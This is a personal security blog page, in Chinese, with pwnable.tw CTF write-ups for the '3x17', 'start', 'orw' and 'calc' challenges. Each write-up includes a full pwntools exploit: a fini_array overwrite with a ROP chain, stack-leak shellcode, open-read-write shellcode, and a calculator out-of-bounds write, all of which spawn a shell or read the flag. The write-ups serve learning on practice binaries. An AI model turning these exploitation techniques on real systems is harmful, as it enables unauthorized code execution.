Cameudis' Blog

Binary Hack, Computer System, Music, and whatever

0%

暑假写的中缀表达式和后缀表达式的转换程序只支持个位数加减法,实在是太菜了。
所以我参考教材上的方法(教材给的代码也只支持个位数加减法,实在是太菜了),把它升级了一下,写了一个 (中缀表达式)计算器

Read more »

难度不大的一关,而且网上有比我的做法更简单(但具有技巧性)的做法。
但是还是做了好久好久……不是耗在题目上,主要是耗在搞libc版本上。

题目

保护全开的i386程序。
首先提示输入姓名,用read读取,并用 printf("...%s...", buf) 打印出来(这种形式没办法利用格式化字符串漏洞)。
然后提示输入数组大小和数据,在循环中用 scanf("%u", a[i]) 读取,数组大小无极限(但循环变量用寄存器表示,无法跳过某地址读写)。
最后对数组进行冒泡排序,并将排序后的数组一个一个输出。

Read more »

好难的一关,顺着这关学了好多东西……

Part0 符号名呢

摸索

本题是一个strip后的静态链接文件……
当我打开IDA,我看不到任何一个函数名,只有一大堆地址迎接我。
于是我在libc里耗了一天,成果只是大致知道执行了哪些函数,并且给read、write库函数标了名称。

然后我想了一个方法,我是不是可以根据函数的地址来看出这是哪一个libc版本,然后就可以给每个函数都标上名称了?然而不行。
静态链接不像动态链接,它只把用到了的函数链接进文件,因此库函数的地址和它在库中的位置毫无关系。

然后当天晚上做梦的时候,我梦到真的有这么一个库,我一把库拖进IDA PRO,软件自动给所有的函数都标上了名字。
醒来的时候我一想,会不会真有根据函数特征来识别函数名的功能?拿起枕边手机一查就查到了。(话说你不能早点查吗)

解决

参考利用ida pro的flare功能识别静态链接函数签名_Anciety的博客

IDA支持给特定库生成一个签名,然后用这个签名识别库函数的名称!
有人已经生成过很多签名了,可以直接去push0ebp/sig-database: IDA FLIRT Signature Database (github.com)下载。

那么问题来了,下哪个libc版本呢?
pwnable.tw的官网首页说,题目都运行在ubuntu16.04或18.04上,所以我先去把这两个系统对应的libc都下了下来,发现只识别了五十几个库函数……
然后又下了一大堆libc版本,最后在19.04里找到的libc6_2.28成功匹配到了六百多个库函数。

于是我终于知道哪个是main函数了……然后发现离成功还尚早……

Part1 分析(放弃

本关开启了NX和Canary,没开PIE,那么应该是可以修改某些东西的。
main函数干了四件事:

  1. write一个”addr:”
  2. read一个0x18长度的字符串,并用一个库函数将其转换成数字(当成10进制数)。
  3. write一个”data:”
  4. read一个0x18长度的字符串,地址是刚刚输入的数。

然后就ret了。可以发现,我们没有任何泄露栈地址的方法,没办法进行简单的ret2xxx系列攻击。
(然后我就放弃了,这题大概又是超出我知识水平范围的,所以去网上找writeup:和媳妇一起学Pwn 之 3x17 | Clang裁缝店看了)

Part2 main函数的启动过程

参考教程:linux编程之main()函数启动过程_gary_ygl的博客

读了文章,学到很多姿势,尤其是对于C程序的抽象->具象:
从一开始的程序运行过程就是main开始到结束;
到后来知道从start开始,start负责调用__libc_start_main(),__libc_start_main()再调用main()函数;
再到现在发现__libc_start_main()干了很多事情,包括在调用main()函数之前,调用__libc_csu_init()函数,并且用_cxa_atexit()函数设置程序退出前执行__libc_csu_fini()函数(具体来说exit()调用_run_exit_handlers(),并在其中按照倒序调用之前用_cxa_atexit()注册过的函数)。并且在调用main()之后,会调用exit()函数。

(其实还干了一些初始化以及善后工作,但是和链接比较相关,和本题不那么相关)

而逆向本题可以看到,__libc_csu_init()主要做两件事:

  1. 调用位于.init段中的_init_proc()
  2. 按顺序调用位于.init_array中的函数(这是一个函数指针数组)(数组大小固定,汇编中直接用立即数地址计算数组大小)

类似地,__libc_csu_fini()也干两件事,但是和init是正好顺序相反的:

  1. 按逆序调用位于.fini_array中的函数(这是一个函数指针数组)(数组大小固定,汇编中直接用立即数地址计算数组大小)
  2. 调用位于.fini段中的term_proc()

然后画个图表示一下我的理解:两个csu函数的调用顺序

而.init_array和.fini_array都是rw的,可写!
然后我决定在懂得了这些之后再自己尝试一下利用!

Part3 Exploitation

通过覆写一次fini_array,可以达到如图的效果。fini&main循环
由于不存在wx的段,所以放弃shellcode,想想如何ROP。
光凭fini_array这两个call是没有用的,必须想办法stack pivot一下。

刚开始的思路是利用

1
2
0x00418820: mov rax, qword [0x00000000004B7120] ; ret  ;
0x0044f62b: xchg eax, esp ; ret ;

这两个gadget来把rsp弄到我想要的地方。但是我发现这做不到,原因是fini_array只有两个元素,我不论怎么修改这个数组,都只能实际调用一个gadget
原因如下:覆盖fini_array的两种情况
我们必须要用一个gadget完成stack pivot,这意味着要么有一个gadget同时涵盖了赋值+修改rsp的工作,要么利用寄存器或栈上已有的值。
GDB动态调试到这里,发现确实有几个寄存器存着RW的位置,其中就包括rbp。然后回忆一下:leave = mov rsp, rbp; pop rbp; ,用这个来stack pivot。

然后利用静态链接程序的丰富gadget库轻松写出了ROP chain,拿到了shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.arch = 'amd64'
filename="./3x17"
# io = process(["strace", filename])
# io = process([filename])
io = remote("chall.pwnable.tw", 10105)

def write(addr, data):
io.send(str(addr).encode('ascii'))
print(io.recvS())
io.send(data)
print(io.recvrepeatS(0.5))

# addr
fini_array_addr = 0x4b40f0
new_stack_addr = fini_array_addr + 0x10
csu_fini_addr = 0x402960
main_addr = 0x401b6d
sh_str_addr = 0x4b40e0 # 随便取的

# ROP gadget
pop_rax = 0x0041e4af
pop_rdi = 0x00401696
pop_rdx_rsi = 0x0044a309
mov_rax_val = 0x0044f62b
leave = 0x00401c4b
syscall = 0x00471db5
return_ = 0x00401016 # just a normal ret,用来占位子

# ROP payload
payload1 = pack(pop_rax) + pack(59) + pack(pop_rdi)
payload2 = pack(sh_str_addr) + pack(pop_rdx_rsi) + pack(0)
payload3 = pack(0) + pack(syscall) + pack(0)

# pwn
write(fini_array_addr, pack(csu_fini_addr) + pack(main_addr))

write(sh_str_addr, b'/bin/sh\x00')
write(new_stack_addr, payload1)
write(new_stack_addr + 8*3, payload2)
write(new_stack_addr + 8*6, payload3)

write(fini_array_addr, pack(leave) + pack(return_) + pack(pop_rax))

io.interactive()

一个小技巧:
如果不间断地给程序send数据,很可能send到同一个read()里。
面对这种情况,可以在两个send()中间recv()一下,又或者加上一个pause()手动停止,又或者加上一个sleep(0.15)来自动停止。

start

是我太年轻了,第一题做了一小时半才拿到flag……
首先一看,保护全关的32位程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ objdump -d -M Intel ./start 

./start: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 54 push %esp
8048061: 68 9d 80 04 08 push $0x804809d
8048066: 31 c0 xor %eax,%eax
8048068: 31 db xor %ebx,%ebx
804806a: 31 c9 xor %ecx,%ecx
804806c: 31 d2 xor %edx,%edx
804806e: 68 43 54 46 3a push $0x3a465443
8048073: 68 74 68 65 20 push $0x20656874
8048078: 68 61 72 74 20 push $0x20747261
804807d: 68 73 20 73 74 push $0x74732073
8048082: 68 4c 65 74 27 push $0x2774654c
8048087: 89 e1 mov %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80
8048091: 31 db xor %ebx,%ebx
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80
8048099: 83 c4 14 add $0x14,%esp
804809c: c3 ret

0804809d <_exit>:
804809d: 5c pop %esp
804809e: 31 c0 xor %eax,%eax
80480a0: 40 inc %eax
80480a1: cd 80 int $0x80

有3个syscall,一个write把一个字符串写到1,一个read从0读入字符到栈上,一个exit退出。显然read这边有个栈溢出漏洞,可以把返回地址覆盖掉。

首先想到直接在返回地址后面写一段shellcode执行execve(“/bin/sh”, 0, 0),想盲打打中栈地址。但是试了几次发现即使是32位的程序,也有至少19个二进制位的随机变化,要十几个小时才能打中,于是算了。
然后想ROP试试,但是怎么想也想不出方法。
最后想到重新执行的思想,我可以重新执行write和read,把栈上的栈地址(嗯?)泄露出来,这样就可以把控制流精准控制成我的shellcode了。

然后终于做出来了,你说我怎么老是最后才想到重新执行这种方法……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.arch = 'i386'

# p = process("./start")
p = remote("chall.pwnable.tw", 10000)

payload = b'a' * 0x14
payload += pack(0x08048087, 32)

p.recv()
p.send(payload)
mes=p.recv()
print(mes)

stack = unpack(mes[0:0+4]) - 4
shcode_addr = stack + 0x14 + 4
print(hex(stack))

payload = b'/bin/sh' + b'\x00'*13
payload += pack(shcode_addr)
payload += asm(f'''
mov eax, 11
mov ebx, {stack}
mov ecx, 0
mov edx, 0
int 0x80
''')

p.send(payload)
p.interactive()

orw

程序会读入一段shellcode并执行,并且限制syscall只能调用orw。
先用read读入/home/orw/flag,然后orw就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.arch = 'i386'

# p = process(["strace", "./orw"])
p = remote("chall.pwnable.tw", 10001)

buf_addr = 0x0804A0C0

payload = asm(f'''
mov eax, 3
xor ebx, ebx
mov ecx, {buf_addr}
mov edx, 20
int 0x80

mov eax, 5
mov ebx, {buf_addr}
xor ecx, ecx
xor edx, edx
int 0x80

mov ebx, eax
mov eax, 3
mov ecx, {buf_addr}
mov edx, 50
int 0x80

mov eax, 4
mov ebx, 1
mov ecx, {buf_addr}
mov edx, 50
int 0x80
''')

print(p.recvS())
p.sendline(payload)
p.send(b'/home/orw/flag')
p.interactive()

calc

除了PIE,其他保护全开。
是一个计算器,将读入的表达式转换成逆波兰表达法之后,用栈进行求值。

主要漏洞在于,在利用栈进行求值的时候,这个存数字的栈用[0]存储栈的高度,用[1]及以上空间存储数字。
所以当我输入 +1 的时候,这个1将会直接被加到栈的高度上,之后就可以通过修改栈高度+构造表达式。来达成栈以上地址任意读写(实际只用到了任意写)。

遇到了两个坑,一是写入一个数字的时候,比这个数字低位的数字将会受到影响;二是运算数不能为0。

前者利用倒过来写入(从上往下写)解决,后者我利用构造表达式解决(后来发现了更简单的方法,由于是将运算数与”0”进行strcmp来判断的,我可以输入000来表示0)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.arch = 'i386'

# p = process(["strace", "./calc"])
p = remote("chall.pwnable.tw", 10100)

read_addr = 0x0806e6d0
buf_addr = 0x080ecf00

int_0x80 = 0x08070880
sh_str = 0x08051ce9
pop_eax = 0x0805c34b
pop_ecx_ebx = 0x080701d1
pop_edx = 0x080701aa
pop_3 = 0x080483ac

# 360 read
# 361 0
# 362 buf
# 363 10

# 364 pop_eax
# 365 11
# 366 pop_ecx_ebx
# 367 0
# 368 sh_str
# 369 pop_edx
# 370 0
# 371 int_0x80

payload = f'''+371+{int_0x80}/1-{int_0x80}
+370+{pop_edx}
+368+{buf_addr}/1-{buf_addr}
+367+{pop_ecx_ebx}
+366+11
+365+{pop_eax}
+364+10
+362+{buf_addr}/1-{buf_addr}
+361+{pop_3}
+360+{read_addr}
'''.encode('ascii')

print(p.recvS())
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()